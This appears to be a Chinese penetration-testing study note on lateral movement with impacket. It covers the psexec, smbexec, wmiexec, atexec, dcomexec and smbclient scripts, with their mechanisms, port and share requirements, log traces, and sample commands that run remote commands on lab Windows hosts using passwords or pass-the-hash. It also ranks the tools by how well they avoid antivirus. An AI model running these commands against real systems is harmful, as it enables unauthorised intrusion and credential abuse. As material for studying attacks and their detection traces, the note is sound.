内网横向-impacket使用总结
impacket是一款用于处理网络协议的python类的集合
接下来记录其常用脚本使用方法(作者还没学到协议专题,暂未记录)
远程连接
有6个远程连接脚本可以使用明文密码和密码hash进行远程连接
- 对于域环境:连接域内普通主机,可以使用普通域用户账户,连接域控需要域管理员账户
- 对于工作组环境:vista之前的系统,可使用本地管理员组内用户进行连接,vista之后只能使用administrator(RID 500)
psexec.py
连接原理
脚本会通过管道上传一个二进制文件到目标主机C:\Windows
目录,并在目标机器上创建服务,通过该服务运行二进制文件,运行结束后删除服务和二进制文件(该脚本上传的二进制文件和创建的服务名都是随机的)
特征
脚本创建和删除服务会产生大量日志,攻击溯源时能够通过日志反推攻击流程
连接条件
- 目标主机开启445端口
- 目标主机开启IPC$和非IPC$的任意可写共享
连接
-
使用密码:
python psexec.py yuy0ung/administrator:Admin123456@192.168.111.137 # 用/表示域环境
-
使用hash:
python psexec.py yuy0ung/administrator@192.168.111.137 -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 -codec gbk
smbexec.py
连接原理
一个类似psexec的使用RemComSvc技术的工具,通过文件共享在远程系统中创建服务,将要执行的命令通过服务写在bat文件中来执行,然后将执行结果写在文件中来获取执行命令的结果,最后删除bat文件、输出文件、服务
特征
-
创建和删除服务会产生大量日志,溯源时可通过日志反推攻击流程
-
windows defender会对工具进行查杀,查杀后会导致报错
-
正常运行脚本,创建的服务名叫BTBTO,固定不变
服务文件名是要执行的命令:
%COMPEC /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & del %TEMP%\execute.bat
命令效果:
- 将命令写入
C:\windows\temp\execute.bat
- 执行
C:\windows\temp\execute.bat
- 删除
C:\windows\temp\execute.bat
- 从
C:\__output
文件中获取命令执行结果 - 删除
C:\__output
- 将命令写入
连接条件
- 目标主机开启445端口
- 目标主机开启IPC$和非IPC$的任意可写共享
- 可以使用除ipc$外的其他所有共享
- 脚本默认C$共享,-share可指定其他共享
连接
-
使用密码:
python smbexec.py yuy0ung/administrator:Admin123456@192.168.111.137 -codec gbk # -codec gbk 使用gbk字符集防止乱码
-
使用密码hash:
python smbexec.py yuy0ung/administrator@192.168.111.137 -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 -codec gbk
wmiexec.py
连接原理
通过wmi实现命令执行
特征
特征不大,规避AV方面做得最好
连接条件
- 目标主机开启135(用来执行命令)和445(用来读取回显)端口
- 开启admin$共享
连接
-
使用密码:
python wmiexec.py yuy0ung/administrator:Admin123456@192.168.111.137 -codec gbk
-
使用密码hash
python wmiexec.py yuy0ung/administrator@192.168.111.137 -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 -codec gbk
atexec.py
连接原理
通过计划任务服务(task schaduler)在目标主机上执行命令,并返回执行命令的输出结果
连接
-
使用密码
python atexec.py yuy0ung/administrator:Admin123456@192.168.111.137 whoami -codec gbk
-
使用密码hash
python atexec.py yuy0ung/administrator@192.168.111.137 whoami -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 -codec gbk
dcomexec.py
连接原理
通过dcom在目标主机上执行命令并返回结果
连接
域环境未成功,建议在工作组环境尝试
-
使用密码:
python dcomexec.py Administrator:123456@192.168.111.134 -codec gbk
-
使用密码hash
python dcomexec.py Administrator@192.168.111.134 -hashes :32ed87bdb5fdc5e9cba88547376818d4 -codec gbk
smbclient.py
可以向服务器上传文件
连接
-
使用密码
python smbclient.py yuy0ung/administrator:Admin123456@192.168.111.137
连接后可以执行如下命令:
info # 查看信息 shares # 查看开启的共享 use xx # 使用指定的共享 ls # 查看当前目录的文件 cd # 切换路径 put xx # 上传文件 get xx # 下载文件
-
使用密码hash:
python smbclient.py yuy0ung/administrator@192.168.111.137 -hashes :32ed87bdb5fdc5e9cba88547376818d4
(未完待续)